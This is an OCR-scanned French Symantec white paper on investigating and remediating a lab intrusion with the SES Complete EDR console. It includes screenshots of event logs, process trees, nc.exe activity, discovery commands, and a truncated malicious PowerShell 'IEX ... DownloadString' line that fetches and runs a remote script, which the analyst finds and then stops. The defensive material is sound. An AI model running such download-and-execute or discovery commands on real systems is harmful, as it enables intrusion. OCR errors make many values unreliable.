SEARCH DESCRIPTION SEARCH STATUS. STARTED BY DATE 4 TYPE

@ wvictim-1 - Capture forensic data request (@) icdm_verg37bagce Dec 35,2022, 11:11:20 PM Capture Forensic Data

Operatars

#P  chrome.exe on Victim-1 - Process dump request  (2) icdm_ver637badce Dec 5, 2022, 10:55:45 PM Process Dump

Les données d’investigation montrent I'état actuel du terminal client.

> Decs, 2022, 111471 PM Established connection between 0.0.0.0:9182 and 0.0.0.0:0 for PID/Process 3580/windows_exporter.exe Victim-1 BOB7-Network Query
> Dec3, 2022, 111401 PM Established connection between 0.0.0.0:135 and 0.0.0.0:0 for PID/Process 380/svchost.exe Victim-1 B08B7-Network Query
> Dec 5,2022, 11:14:11 PM Established connection between 0.0.0.0:5357 and 0.0.0.0:0 for PID/Process 4/System Victim-1 B087-Network Query
> Dec 5, 2022, 11:14:09 PM launched svchost.exe under NT AUTHORITY\SYSTEM user context, the activity is safe with a malicious score of 54. Victim-1 B081-Process Query
> Dec5, 2022, 11:14:09 PM launched fontdrvhost.exe under Font Driver Host\UMFD-0 user context, the activity is safe with a malicious score ... Victim-1 8081-Process Query
> Dec 5, 2022, 11:14:09 PM launched svchost.exe under NT AUTHORITY\SYSTEM user context, the activity is safe with a malicious score of 54. Victim-1 B081-Process Query
> Dec 5, 2022, 11:14:09 PM launched svchost.exe under NT AUTHORITY\LOCAL SERVICE user context, the activity is safe with a malicious scor...  Victim-1 B081-Process Query
> Dac5, 2022, 11:14:09 PM launchad svchost.exe under NT AUTHORITY\LOCAL SERVICE user context, the activity is safe with a malicious scor...  Victim-1 B081-Process Query
Cela inclut une connexion ouverte au serveur C&C, ce qui indigue que la menace est toujours présente sur le terminal client.
Established connection between 172.28.48.7:52756 and 52.1.93.201:443 for PID/Process 9712/powershell.exe Victim-1 B0B7-Metwork Query
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SES COMPLETE FOURNIT
DEJA DES METADONNEES
SUR LES FICHIERS
RENCONTRES, NOTAMMENT
LES HACHAGES, LA

TAILLE DU FICHIER,
L’EMPLACEMENT, ETC.

Collecte de fichiers a partir de terminaux clients

v Symantec.

by Broadcom

SES Complete fournit déja des métadonnées sur les fichiers rencontrés, notamment
les hachages, la taille, lemplacement, etc. Pour faciliter 'analyse, une copie du
fichier peut également étre récupérée par 'une des méthodes suivantes.

1. Accédez a Devices (Appareils), sélectionnez le terminal client ou se trouve le
fichier, sélectionnez 'onglet Files (Fichiers), sélectionnez le fichier et appuyez sur
Get File (Obtenir le fichier).

D nc.exe
FILE NAME

RISK agoe

FIRST SEEN ON

Details Devices

o Add to App Control Policy @ Make Trusted Updater 9 Send to VirusTotal ° More Actions ¥ s X

Unknown Less than two days 1 GlobalSign ObjectSign
DEVICES SEEN ON CA
SIGNER

1
INTENSITY LEVEL

Policies Activity History

Process Dump

Add to Allow List
Add to Deny List
Submit To Sandbox
Quarantine File

Hide

Security Summary @

Intensity Level

Last Seen On

Global Prevalence

Global First Seen

Historical Reputation

Current Reputation

1

Blocks or logs known malware and known bad files.

Feb 6, 2023, 10:17:56 AM

Many Users

This file has been seen by tens of thousands of Symantec users.

IMature

Symantec has known about this file for more than 1 year.

Malicious

This file is untrustworthy.

Malicious

This file is untrustworthy.

2. Accédez a un événement dont le fichier fait partie et sélectionnez Get File

(Obtenir le fichier).

@ Scan Mow e Quarantine Device @ Full Dump @ Process Dump ° Maore Actions ¥

0

1-Informational
SEVERITY

MNataile

cmd.exe launched nc.exe.
DESCRIPTION

8001-Process Activity
EVENT TYPE ID

edradmin
USER

Default
DEVICE GROUP

@ Capture Forensic
Data
Submit to
Sandbox
5-System Activity Send to
CATEGORY VirusTotal
Ie Get File
1-Process Activity
DISPOSITION Quarantine File
Default Detection Start Live Shell
and Response Session
Palicy )
@ Allow File
POLICY NAME
0 Deny File
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3. Pour les fichiers non exécutables, accédez a un événement impliquant le fichier, copiez le chemin du fichier dans le
Presse-papiers, puis sélectionnez les trois points verticaux a droite et sélectionnez Endpoint Search (Recherche dans
les terminaux clients).

v Jan 17,2023, 12:52:15 PM chrome.exe created jkhertgbn.js victim-1 8003-File Activity
Scan Now
W
File Info Quarantine
Device
File Name jkhertgbn.js Full Dump
I File Path c:\users\edradmin\appdata\roaming\google chromeljkhertghn.js I Process Dump
File Normalized Path CSIDL_PROFILE\appdata\roaminggoogle chrome\jkhertgbn.js Capture Forensic
Data
File Size (Bytes) 3622
§ Submit to
File Type 1-File Sandbox
File Attribute Ids 6-Normal Send to VirusTotal
File Security Descriptor 0:5-1-5-21-3625167640-1369257362-465162450-1003G:S-1-5-21-3625167640-1369257362-65162450-513D: (A FAG; SY) A FAG; BA) (A;FA;S-1-5-21-3625167640-1369257362-465162450-1003)  Get File
. . Quarantine File
> Jan 17, 2023, 12:52:15 PM chrome.exe launched wscript.exe. Victim-1 8001-Process Activity
Start Live Shell
. ) . Session
> Jan 17,2023, 12:52:16 PM wscript.exe opened jkhertgbnjs. Victim-1 8003-File Activity
Allow File
> Jan 17,2023, 12:52:16 PM wscript.exe opened {afbfdf1a-8ee8-4c77-af24-c647e37cald...  Vietim-1 8003-File Activity Deny File
> Jan 17, 2023, 12:52:16 PM wscript.exe opened cversions.1.db. Victim-1 8003-File Activity Enldooi searct)

Sélectionnez Evidence of Compromise (Preuve de compromission), entrez une description de la recherche. Dans Filter by
(Filtrer par), entrez « FilePath: ». Collez le chemin complet vers le fichier cible, puis sélectionnez le bouton Search (Rechercher)
en bas a droite.

. < g _
0 Endpoint 2 OO i P @ ralyticsRedt:
Endpoint
L7}
Filter by @ Status
Select your query from below Quick ilter or Enter Results (Showing 1to 1 of 1) e Endpoint Search | 5 of5 Colur
query.
SEARCH DESCRIPTION SEARCH STATUS STARTED BY DATE & TYPE
I =9 Getfile jkhertgbn.js I (&) Adam Apr 5, 2023, 11:08:30 AM Evidence of Compromise
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Les résultats de la recherche de preuve de compromission sont disponibles en sélectionnant Investigate (Examiner) et Endpoint
(Terminal client), puis en sélectionnant le résultat de la recherche.

(1) Endpoint 2 H O i P B @ AnalyticsRedL:
Cloud Database I Endpoint I
e——
Filter by © status @
Select your query from below Quick Filter or Enter Results (Showing 1to 10f 1) e Endpoint Search | 59f5 Calur
query.
SEARCH DESCRIPTION SEARCH STATUS STARTED BY DATE 4 TYPE
I =3 Getfila jkhertgbn.js I @ Adam Apr 5, 2023, 11:08:30 AM Evidence of Compromisa
)
Dans le résultat de la recherche, sélectionnez Get File (Obtenir le fichier).
Results (Showing 1to1of1) e Download Grid 4 of 214 Columns Selected ~
TIME 4 DESCRIPTION DEVICE NAME EVENT TYPE ID
> Apr 5, 2023, 11:08:36 AM File c:\Users\edradmin\Desktop\google chrome\jkhertgbn.js Exists ~ Victim-1 8083-File Query

Scan Now

Quarantine Device

Full Dump

Process Dump

Capture Forensic
Data

Submit to Sandbox

Send to VirusTotal

Get File

Quarantine File

Vous pouvez sélectionner le fichier de votre choix, y compris des documents contenant des données sensibles. Pour sécuriser
ces données, vous pouvez étre invité a fournir des informations d’authentification (compte local ou compte d’administrateur de
domaine) sur la machine cible.

Le fichier étant potentiellement malveillant, il est téléchargé sous forme d’archive protégée par mot de passe afin de ne pas
déclencher votre logiciel de sécurité. Le fichier a I'intérieur est renommé avec le hachage du fichier sans aucune extension pour
éviter toute exécution accidentelle du fichier.

Download

The file is available for download from the file store. The file is renamed to its SHA256 hash without a file extension and the encrypted file will be downloaded in the archive file format on your device.

N

jkhertgbn.js
To access the file, use the following password:

Password; 1ztttwoh

Cancel Download
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Examiner I'intégralité d’une arborescence de processus

Prenons I'exemple suivant : vous trouvez une activité suspecte ou tout simplement intéressante et vous souhaitez approfondir
votre examen. SES Complete permet d’afficher trés facilement toutes les activités réalisées par le processus, ses ancétres et ses
descendants. Par exemple, vous voyez que PowerShell effectue une activité réseau inhabituelle sur un hote suspect.

TIME 4 DESCRIPTION DEVICE NAME EVENT TYPE ID

> Dec16, 2022, 9:14:29 AM  Qutbound: powershell.exe sent 298392 bytes to 52.55.161.82:443 and received 1054677 bytes from 172.28.48.7:50798 via HTTPS,TLS. Victim-1 8007-Host Network Activity

Ouvrez les détails de I'événement en cliquant sur la fleche a gauche de I'événement et accédez au champ Correlation ID (ID de
corrélation). Il s’agit d’'un identifiant unigue pour 'ensemble de I'arborescence de processus.

TIME DESCRIPTION DEVICE NAME EVENT TYPE ID
A Dec 16, 2022,9:14:29 AM  Qutbound: powershell.exe sent 298392 bytes to 52.55.161.82:443 and received 1054677 bytes from 172.28.48.7:50798 via HTTPS,TLS. Victim-1 8007-Host Network Activity
Correlation ID BEBEASZA-69EC-SDED-415E-6DE364ESFCF4 ":r-.:'

Copiez la valeur de I'ID de corrélation en cliquant sur I'icéne de copie située a droite du champ d’ID de corrélation. Accédez
ensuite a 'onglet Investigate (Examiner). Dans le champ Filter by (Filtrer par), saisissez Correlation ID: (ID de corrélation :) et
collez I'D de corrélation a partir du Presse-papiers. Vous obtenez alors une vue de l'intégralité de I'arborescence de processus et
de chague événement effectué par tous les processus associés.

M | B White Paper Notes - Google Doc X | G sepusecuritycloudsymantec.com X | & Incidents > Incidentlisting > 200 X ¥ Security Events X+ v = x
< C {} & sepsecuritycloud.symantec.com/v2/investigate/events 2% @0 »00@Q :
M [E # QO & Jirm & Backog SEDR Labs $& Analytics Confluence EDR FutureEmulations Linux Other bookmarks

(1) Endpoint 2 O O Wi A B @ sayicsRediad v L adam v
@ Cloud Database
. 121 12104 1211 12118
: Showing events from Nov 21, 2022 10:19:08 AM to Dec 21, 2022 10:19:08 AM.
Q Time Range @ Group By @ Detecti Device  De ternal Device e 1P MITRE ATT&CK®  Polic Tec gy  Usel
|h Last 30 Days v Results (Showing 1 to 25 of 3912) e Download Grid | 5 of 424 Columns Selected v
Filter by @ m et TIME ¢ DESCRIPTION ATT&CK TECHNIQUE NAME DEVICE NAME EVENT TYPE ID
CorreLATL.  BEBEAG2A-SOEC-SDED-415E-6D. .
E Dec 16,2022, 9:11:50 A, explorer.exe launched chrome.exe. User Execution Victim-1 8001-Process Activity
@ Dec 16,2022, 9:11:57 A..  chrome.exe established connection from 172.28.48.7:50416 to 74.125.20.1... - Victim-1 8007-Host Network Activity
(ul ) _
m Dec 16,2022, 9:11:57 A...  Qutbound: chrome.axe sent 618 bytes to 74.125.20.101:443 and received 9. Application Laye... + 1 other Vietim-1 2007-Host Network Activity
Operstors a
Dec 16,2022, 9:11:57 A, chrome exe opened 24bd96d5497F70b3f510a6bS3cd43f3e_3a89246%30c5...  — Vietim-1 8003-File Activity
N ( ao on
@} QuickFilters Dec 16,2022, 9:11:57 A..  chrome.exe opened 24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90c5... - Victim-1 8003-File Activity
What would you like to fiker? - e At
s wauld yau ke o ifter: Dec 16,2022, 9:11:57 A chrome.exe opened 24bd960549777003151026b53cd43f3e_3289246D90C5... Victim-1 8003-File Activity
Dec 16, 2022, 9:11:57 A... : chrome. .36.153.11:8 e Victim-1 8007-Host Network Activi
> Key Performance Indicators Outbound: chreme.exe sent 715 bytes to 199.36.153.11:80 and received 72. ity
> Severity
> Category Dec 16,2022, 9:11:57 A chrome.exe established connection from 172.28.48.7:50417 t0 199.36.153...  — Vietim-1 8007-Host Network Activity
> Activity Type
N Dec 16,2022, 9:11:57 A...  chrome.exe established connection from 172.28.48.7:50417 to 199.36.153...  —- Victim-1 8007-Host Network Activity
> Security Technology Detections

Cela fournit une liste séquentielle d’activités commencant par le premier ancétre : dans notre exemple, il s'agit d’explorer.exe
qui lance le navigateur Chrome. Une des options consiste a parcourir les données pour trouver rapidement des événements
intéressants, comme chrome.exe qui crée et lance un script sur la machine locale.

Dec 16, 2022, :12:00 AM  chrome.exe created jkhertgbn.js. Ingress Toal Transfer

Dec 16, 2022, 9:12:02 AM  chrome.exe launched wscript.exe. Command and Scriptin... +1 other "C:\windows\System32\wscript.exe” jkhertgbn.js
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Pour accélérer 'examen, il suffit de filtrer davantage les événements, par exemple en affichant uniquement les événements de

v Symantec.

by Broadcom

processus. Ici, nous voyons rapidement que le script suspect utilise toutes sortes de techniques de découverte ATT&CK. La
menace est vraisemblablement en train d’évaluer la situation pour déterminer s’il s’agit d’'une victime adaptée.

M | B White Paper Notes - Google Doc X | G sepsecuritycloudsymanteccom X | & Incidents > Incidentlisting > 200 X @ Security Events

(3 C Y @ sepsecuritycloud.symantec.com/v2/ir
M [ # QCke & Jin € Baklog SEDR Labs  $& Analytics Confluence EDR FutureEmulations Linux
Q) Endpoint

Cloud Database

TIME 4+ DESCRIPTION

X

ATT&CK TECHNIQUE NAME

v o -

©
%
(2]

b

) » 0@ :

Other bookmarks

O @ Wi A B @ sayicsRediab v L adam v

PROCESS COMMAND LINE

ol Dec 16,2022, 9:11:50AM  explorer.exe launched chrome.exe.
Time Range @

Dec 16,2022, 9:1202AM  chrome.exe launched wscript.exe
Last 30 Days v

Filter by @ IEE3 sovanced

CORRELATL. BEBEAS2A-69EC-SDED-415E-6D...

Dec 16,2022, 9:1204AM  chrome.exe terminated chrome exe.

D G T Dec 16,2022, 9:12:08 AM  wscript.exe launched whoami.exe.

Dec 16,2022, 9:12:08 AM  whoami.exe terminated whoami.exe.

Dec 16,2022, 9:12:08 AM  wscript.exe launched net exe.

Operators a
Dec 16,2022, 9:12:08 AM  wscript.exe launched net.exe.

@
Q
=}
=)
O]
ul
&
]
&

Quick Filters Dec 16,2022, 9:1211AM  net.exe launched netl.exe.

What would you like to filter?
Dec 16,2022, 3:12:11AM  net.exe terminated net.exe

> Key Performance Indicators Dec 16,2022, 9:12:11 AM  net.exe terminated net.exs.

> Severity

> Category Dec16,2022,9:12:11AM  netl.exe terminated netl.exa.
> Activity Type

> Security Technology Detections Dec 16,2022, 9:12:11AM  wscript.exe launched systeminfo.exe.

User Execution

Command and Scriptin... 1 other

Account Discovery + 2 others

Remote Services: SMB/... + 1 other

Account Discovery: Do... +3 others

Account Discovery: Do... +3 others

Account Discovery + 1 other

"C:\Users\edradmin\Desktop|Google Chrome\Chrome.exe”

*C:\Windows\System32\wscript.exe” jkhertgon js

"C:\Users\edradmin\Desktop\Google Chrome\Chrome.exe"

whoami.exe

wheami.exe

net user

net user

C:\windows\system32\net1 user

net user

net user

C:\windows\system32\net1 user

systeminfo

Une fois que vous avez obtenu une requéte que vous pourriez revisiter ou réutiliser dans des examens futurs, vous pouvez
I'enregistrer en cliquant sur I'icbne d’enregistrement de la recherche. Voici une requéte montrant toutes les activités de fichier, de

Registre et de réseau effectuées par le groupe de processus.

Cloud Database

Time Range @
Last 30 Days v

m Advanced

CORRELATI.. BEBEAS2A-69EC-S5DED-415E-6D..

Filter byo

AND [
EVENT TYPEID  8003-File Activity OR
EVENTTYPEID  8006-Registry Value Activity

OR

P
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Cliquez sur I'icone d'ouverture de la recherche a coté de l'option d’enregistrement pour retrouver la requéte quand vous en avez besoin.

Pour avoir une vue d’ensemble des activités de l'intégralité de 'arborescence de processus, vous pouvez également utiliser la
logique Group By (Regrouper par) de SES Complete. Le regroupement par processus est utile pour avoir une vue d’ensemble
des processus impliqués.

<« C ) & sepsecuritycloudsymantec.com/ud/investigate/events/groups/process 2 % ©O0 »0@ :
M [E W QCke & lir € Baklog SEDR Labs 38 Analytics Confluence EDR FutureEmulations Linux Other bookmarks
@) Endpoint 2 O A B @ sayicsRedlab v L sdem v
Cloud Database
Group Eyo Po T =
- 4 of 4 Columns Selected ~
Time Range @ PROCESS NAME PROCESS SHA2 EVENTS COUNT 4 DEVICES COUNT
Last 30 Days v
ab032d. 10cf30f baseab391e042d720167ed! f a’ .
0 nslookup.exe 752 1
Filter by @ 22 ~evances
CoRRELATL.  BEBEAS2A-69EC-SDED-415E-6D. n I 9f376759bcbed70577264607c4a7e2b07f310152baa73caaaaal 24ddbdf993 E
AND  EVENTTYPEID 8001-Process Activity
D Sluiexe bae28691ee1df6693795c679a8d097edf39ace2758dae4as80d00fbb79ccObl 1
4
12abb45620a7a1ffdBbbI53debadfcc 4b2ff523f1f519bf2bf6ba7d4
[EE=CE| oo ’ '
Operators a
18f76bc1f02a161ebdedf3142273¢186d05a836addcaaee599194089fd59f3
( D oR D netl.exe 3 1
Quick Filters 34008e2057df8842df210246995385a0441d 1 €081 d60ad 15bd481 e062e 7
_ quenwes O wscriptece 3 1
What would you like to filter?
6f87caas1bdeaB02045hh281f(26863376364C26a3ffeb C2ccacdafsTadbaTl
0 systeminfo.exe 3 1
> Key Performance Indicators
9f914d42706fe215501044acdB5a32d58aaef14190404fdd a5 d3b48fb6ccdt
> Severity 0 powershell.exe 5 B
> Category
> Activity Type n tasklistexe be7241374fe929d30e0631e415332362b21c8f7aae3e5b6ad319ccT5c024ec T
> Security Technology Detections

Cliguez sur le nombre d’événements pour afficher toutes les activités effectuées par le processus. Vous voyez assez rapidement
gue la menace utilise nslookup pour effectuer la découverte des systémes distants de toutes les machines du sous-réseau local.
Notez les adresses IP changeantes dans la ligne de commande nslookup dans la colonne la plus a droite.

Cloud Database
1 12104 2im 12118
'_‘ Showing events from 0:37:16 AM to Dec 2
Time Range @ Group By @ Application Device File 1P MITRE ATT. Polic Te
Last 30 Days v
Selected Filters PROCESs  nslockup.exe Clear
Filter by @ B ovancea
Results (Showing 1 to 25 of 497) e Download Grid | 4of424 Columns Selecced v
CORRELATL.  BEBEAS2A-69EC-5DED-415E-6DE...
TIME DESCRIPTION ATT&CK TECHNIQUE NAME PROCESS COMMAND LINE
4 Dec 16, 2022, 9:14:26 AM shell.exe launched nslookup.exe Remote System Discov... + 1 other "C\windows\system32\nslookup.exe” 172.28.48.255
Operators Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe. Remote System Discov... + 1 other "C:\windows\system32\nslookup.exe” 172.28.48.254
( 1 Ao or
a Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe Remote System Discov... = 1 other "C:\Windows\system32\nslookup.exe" 172.28.48.253
Custom Filter
Field Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe. Remote System Discov... = 1 other *C:\Windows\system32\nslookup.exe" 172.28.48.252
Operator*
Dec 16,2022, 9:14:26 AM  powershell.exe launched nslookup.exe. Remeote System Discov... + 1 other “C:\windows\system32\nslookup.exe” 172.28.48.251
Add Dec 16,2027, 9:14:26 AM  powershell.exe launched nslookup.exe. Remote System Discov... = 1 other "C:\Windows\system32\nslookup.exe" 172.28.48.250
Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe. Remate System Discov... =1 other "C:\Windows\system32\nslookup.exe" 172.28.48.249
Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe. Remote System Discov... + 1 other “CAwindows\system32\nslookup.exe” 172.28.48.248
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Le regroupement par MITRE ATT&CK est peut-étre encore plus utile pour obtenir une vue d’ensemble des technigues utilisées
par 'ensemble du groupe de processus. En cliqguant sur I'un des événements, vous affichez les détails des activités.

E Cloud Database
q Group By o Application  Def Device ternal Device e P PO Tecl sel
@ C 3 0f 3 Columns Selecte,
) Time Range @ ATT&CK TECHNIQUE UID ATT&CK TECHNIQUE NAME EVENTS COUNT &
v
Ih‘ Last 30 Days M t1074 Data Staged s18
Filter by @ =1 sdvanced
M 1049 System Network Connections Discovery 258
E CORRELATL.  BEBEAS2A-69EC-SDED-415E-6DE...
M 1018 Remote System Discovery 257
M 1059 Command and Scripting Interpreter 55
[l y
S,bl M 1064 Scripting 34
Operators a
@ . D G M t1105 Ingress Tool Transfer 15
{@} Custom Filter M t1082 System Information Discovery 14
Field™* M 1071 Application Layer Protocol 10
Operator*
V] 72 Enrnintad Channat

Détection d’une usurpation de droits
Les attaquants devront souvent augmenter leur niveau de priviléges pour atteindre leurs objectifs, ce qui est trés facile a
détecter avec SES Complete.

Accédez a l'onglet Investigate (Examiner) et filtrez par « NOT Actor Integrity Id:(5-High OR 6-System) AND Process Integrity
Id:(5-High OR 6-System) » (PAS ID d'intégrité de l'acteur : (5-High OU 6-System) ET ID d’intégrité du processus : (5-High OU
6-System)). Vous obtenez instantanément une liste de tous les processus lancés avec un niveau d’intégrité supérieur a celui de
leur parent.

Cloud Database

E>

v Event Timeline @

@1

Time Range @

IE_ Last 30 Days ~
oo "
Filter by (] 5 Advanced
E NOT ACTORINTEGRL.  (5-High OR 6-Sys._
AND
@ PROCESS INTEGRITYID {5-High OR 6-System) ‘o1/01 o1/08 '01/15
P
w Showing events from Dec 31, 2022 7:04:50 AM to Jar
Operators
Group By © Application  Detection Device  Device Group  Exte File P Add
{ ) AND  OR
a Results (Showing 1 to 25 of 28)
ﬁ‘?’ Quick Filters
TIME 4 DESCRIPTION DEVICE NAME
@} ‘What would you like to filter?
Jan 17, 2023, 12:52:31 PM powershell.exe launched slui.exe with elevated integrity level. Victim-1
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Examen personnalisé a I’aide de Live Shell
Méme avec les capacités robustes de SES Complete, vous voudrez peut-étre parfois utiliser vos propres outils. Pour cela, rien de

plus simple.

Veillez tout d’abord a activer Live Shell dans la politique de détection et de réponse.

Live Shell Configuration @

O Turn Live shell on/off

Ensuite, accédez au terminal client et sélectionnez More Actions (Plus d’actions), puis Start Live Shell Session (Démarrer la
session Live Shell).

e Add to Device Group . Delete Device 9 Run LiveUpdate @ Scan Now . More Actions ;Ilf x

@ Collect Remote Diagnostic Logs

Victim-1

E DEVICE NAME @ Restart

Quarantine Device

® Compromised Default 14.3.9203.5000
DEVICE STATE DEVICE GROUP |@ Start Live Shell Session I CLIENT VERSION
12/21/2022,1:11:16 PM Windows 10 Professional Edition 10. @ Full Dump edradmin
LAST UPDATED 05 VERSION LOGON USER

@ Capture Forensic Data

Details Files Applications Policies Incidents Alerts Activity History Command History Live Shell Sessions

Device Risk Summary @

\far: Hish Dick Filac o

Pour des raisons de sécurité, vous serez invité a fournir des informations d’identification pour accéder a l'appareil.

Live Shell

Enter the device credentials or the domain administrator credentials to connect to the device.

Username

Alice @
Password
Domain

MyDomain

Connect
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Vous aurez ensuite acces a une session PowerShell sur le terminal client. Si les informations d’identification fournies disposent de
privileges administratifs, votre session en bénéficiera également. La session peut ensuite étre utilisée pour télécharger les outils
de votre choix et exécuter des commandes pour vous aider a examiner ou a corriger la machine. Ici, l'utilitaire ProcDump est
téléchargé et exécuté pour effectuer le vidage d’un processus en cours d’exécution. Il copie alors le vidage dans un magasin de

fichiers pour analyse.

Live Shell @

Users\edradmin\Desktop> mkdir tools

Length N

Users\edradmin\Desktop> cd tools

Users\edradmin\|

Invoke-WebReques| https:/.
oad.sysinternals /files/Procdump.zip —OutFile Procdump.zip
Expand-Archive P ump . zip

> cd Procdump

sktop\tools\Procdump> ./procdumpéd —ma 7736 —acceptenla

ocess dump utility
lark Russinovich and Andrew Richards

copyright (C) 2
sinternals.com

|sysinternals
9] Dump 1 initiate: Users\edradmin\
imated dump file

[PS €:\Users\edradmin\Desktop\tools\P;
1=

Directory: C:\Users\edradmin\Desktop\tools\Procdump

Length
7490 Eula.tx

hell.exe | 215109.amp

ump> Copy-Ttem —Path
tem -Path powe 109.dmp -Destination
Users\edradmin\]

ocdump.zip —OutFile Procdump.zip

® Connected : Victim-1 End Session ()

victim-1

DEVICE NAME

Windows 10 Professional Edition 10.0.19044
05 VERSION

Default

DEVICE GROUP

172.28.48.7

IPV4 ADDRESS

Automatic timeout after inactivity of 10
minutes

Les journaux des sessions précédentes sont conservés dans Devices (Appareils), nom de I'appareil, Live Shell Sessions (Sessions
Live Shell) et pourront ainsi étre consultés ou téléchargés ultérieurement.

@ Ercecizs

L N O s A B & rccvicRadiah o

Add t jice Gr T veUpdate (4 ER T More Actions v
@ rddtopeiiceGroup ) Delete Device (@ Run Liveupdate scan Now (@) More Actions A X
E Victim-1
® Compromised 0
10 Professional Edition 10.0.19044 edradmin
Live Shell Sessions
Results (Showing 1 to 2 of 2) 5 of § Columns Selected v
SESSION INITIATED DEVICE SESSION USER DURATION START TIME END TIME 4
adam Glick edradmin & minutes Dec 21,2022, 1:43:40 PM Dec 21,2022, 1:56:14 PM
N . . . - Download
adam Glick edradmin 19 minutes Dec 21,2022, 1:18:45 PM Dec 21,2022, 1:37:52 PM
Preview
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Des réponses rapides avec SES Complete

SES Complete offre des fonctionnalités de réponse rapides et faciles a utiliser pour
aider a contenir et supprimer les menaces.

Mise en quarantaine et blocage des fichiers

Choisissez un fichier dans un événement ou dans la liste Discovered Items
(Eléments découverts), sélectionnez More Actions (Plus d’actions), puis Quarantine
File (Mettre en quarantaine le fichier) pour déplacer le fichier vers une liste
sélectionnée de terminaux clients a mettre en quarantaine.

o Add to App Control Policy @ Make Trusted Updater @ Send to VirusTotal ° More Actions ¥
Process Dump
D nc.exe Add to Allow List
FILE NAME .
Add to Deny List
i 7 or more days ago 1 . wel 11 CA
very High ¥s ag submit To Sandbox
RISK FIRST SEEN ON DEVICES SEEN ON
Quarantine File
Hide
EVEL
Get File
Quarantine File
Select all the devices from where you want to quarantine the file powershell.exe
QuickFilters v Selectyour query from Quick Fiker or Ener query:
Showing list of supported Devices (Showing 1 to 4 of 4) 50f 11 Columns Selected v
( NAME DEVICE GROUP 1PV4 ADDRESS LOGON USER 0s
[ acreddevl Default 172.2853.5 admin ‘Windows 10 Enterprise Edition
[ acreddevz Default 172285335 admin Windows 10 Enterprise Edition
I victim1 Default 17228487 edradmin Windows 10 Professional Edition
M vevion o Afaie 17000 Adendmin WiinAnue 10 Beafarrinnal Edivian

Cancel Next

Vous pouvez également choisir Deny File (Refuser le fichier) pour supprimer les
instances existantes d’'un fichier et empécher la création future du fichier et des
processus basés sur le fichier sur 'ensemble des terminaux clients. SES Complete
vous demande une politique de liste de refus afin que vous puissiez choisir les
terminaux clients auxqguels cette demande de refus de fichier s’applique.

° Add to App Control Policy @ Make Trusted Updater @ Send to VirusTotal ° More Actions ¥
Process Dump
D nc.exe Add to Allow List
FILE NAME
very High 7 or more days ago 1 Submit To Sandbox
RISK FIRST SEEN ON DEVICES SEEN ON

wel IIT CA

Quarantine File

Hide
EVEL
Get File

Détection, examen et traitement des attaques avancées avec Symantec Endpoint Security Complete | LIVRE BLANC | 24



LE FAIT DE POUVOIR
COMMUNIQUER AVEC

SES COMPLETE VOUS
PERMET DE CONTINUER A
EFFECTUER DES ACTIONS
CORRECTIVES DEPUIS LA
CONSOLE, DE FOURNIR
DES MISES A JOUR DE
SECURITE, D’EFFECTUER
DES CORRECTIONS
SUPPLEMENTAIRES ET BIEN
PLUS ENCORE.

@:Symantec,.

by Broadcom

Select the policy to deny selected files

NAME

nnnnnnn

sssss

& Default Deny List Policy
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Mise en quarantaine d’appareils

Si un appareil est compromis, vous pouvez l'isoler des autres appareils pour
empécher la propagation de I'infection et arréter le trafic C&C, ainsi que 'exfiltration
de données, de I'appareil compromis. Choisissez I'appareil 1a ou vous le souhaitez
dans SES Complete, comme une visualisation d’incident, un événement ou la

page de détails de 'appareil. Sélectionnez ensuite Quarantine Device (Mettre en
quarantaine l'appareil).

acreddev1

N |

nalexe Command-JimeDetaction

Investigate

Show Details

Quarantine Device

sC.exe Command-line Detection U ti
ngquarantine

Device

Full Dump

4 B

wmic.axa F—.‘:'J\.'E'Siﬂl'rll EXE Show Malicious

Files

e smee b
Move With
MNeighbors

Pendant qu’il est en quarantaine, I'appareil ne pourra pas communiguer sur le
réseau sauf avec SES Complete et, éventuellement, avec les hotes auxguels vous
choisissez de donner acces (par exemple un partage de fichiers avec des outils
de sécurité). Le fait de pouvoir communiquer avec SES Complete vous permet de
continuer a effectuer des actions correctives depuis SES Complete, de fournir des
mises a jour de sécurité, d’effectuer des corrections supplémentaires, etc.
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Correction personnalisée avec Live Shell

Nous avons vu plus tét comment Live Shell dans SESC vous permet d’effectuer
des examens personnalisés des terminaux clients. Live Shell peut également étre
utilisé pour effectuer des étapes de correction personnalisées. Ici, nous montrons
comment déterminer les processus qui sont actuellement en cours d’exécution sur
un terminal client et mettre fin de force aux processus malveillants.

Veillez tout d’abord a activer Live Shell dans la politique de détection et de réponse.

Live Shell Configuration @

(} Turn Live Shell on/off

Connectez-vous au terminal client en le sélectionnant, puis en choisissant More
Actions (Plus d’actions) et Start Live Shell Session (Démarrer la session Live Shell).

a Add to Device Group o Delete Device e Run LiveUpdate @ Scan Now ° More Actions Vs

@ Collect Remote Diagnostic Logs

Victim-1
E DEVICE NAME @ Restart

Quarantine Device

® Compromised Default 0
DEVICE STATE DEVICE GROUP FILES AT RIS I@ Start Live Shell Session I

@ Full Dump

@ Capture Forensic Data

12/30/2022, 10:44:35 AM windows 10 Professional Edition 10.0.7...
LAST UPDATED 05 VERSION

Vous serez invité a fournir des informations d’identification afin de pouvoir accéder
a lappareil.

) X
Live Shell

Enter the device credentials or the domain administrator credentials to connect to the device.
Username

Alice @
Password

Domain

MyDomain

Connect

Pour trouver toutes les instances PowerShell en cours d’exécution, nous utilisons la
commande intégrée Get-WMIObject. Vous pouvez évidemment utiliser une autre
commande PowerShell native ou télécharger les outils de votre choix.

ject Win -Filter "name = '
—Filter "name owerShell.exe'" | Se

Processld, CommandLine

IEX (New-Object Net.WebClient).DownloadString('https...
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La commande PowerShell malveillante se distingue des processus PowerShell
inoffensifs en cours d’exécution (y compris notre propre session Live Shell). C’est
elle qui télécharge et exécute le script a partir du réseau, Processld 1700.

Nous mettons ensuite fin au script malveillant avec la commande PowerShell
Stop-Process et vérifions qu’il a bien été arrété en examinant a nouveau toutes les
instances PowerShell en cours d’exécution.

‘rocess -Id 1700

cf —Filter "name o 5 ect ProcessId, CommandLine
—Filter "nam jerShell.exe'"™ , CommandLine

ystem32\WindowsPowerShell\vl.0\powershell.exe

PS C:\Users\Default>

Ecriture de votre propre protection personnalisée

SES Complete est appuyé par une équipe de premier ordre qui évalue les malwares
les plus récents. Les ingénieurs experts de Symantec mettent constamment a jour
la protection et la détection fournies par SES Complete en fonction des menaces et
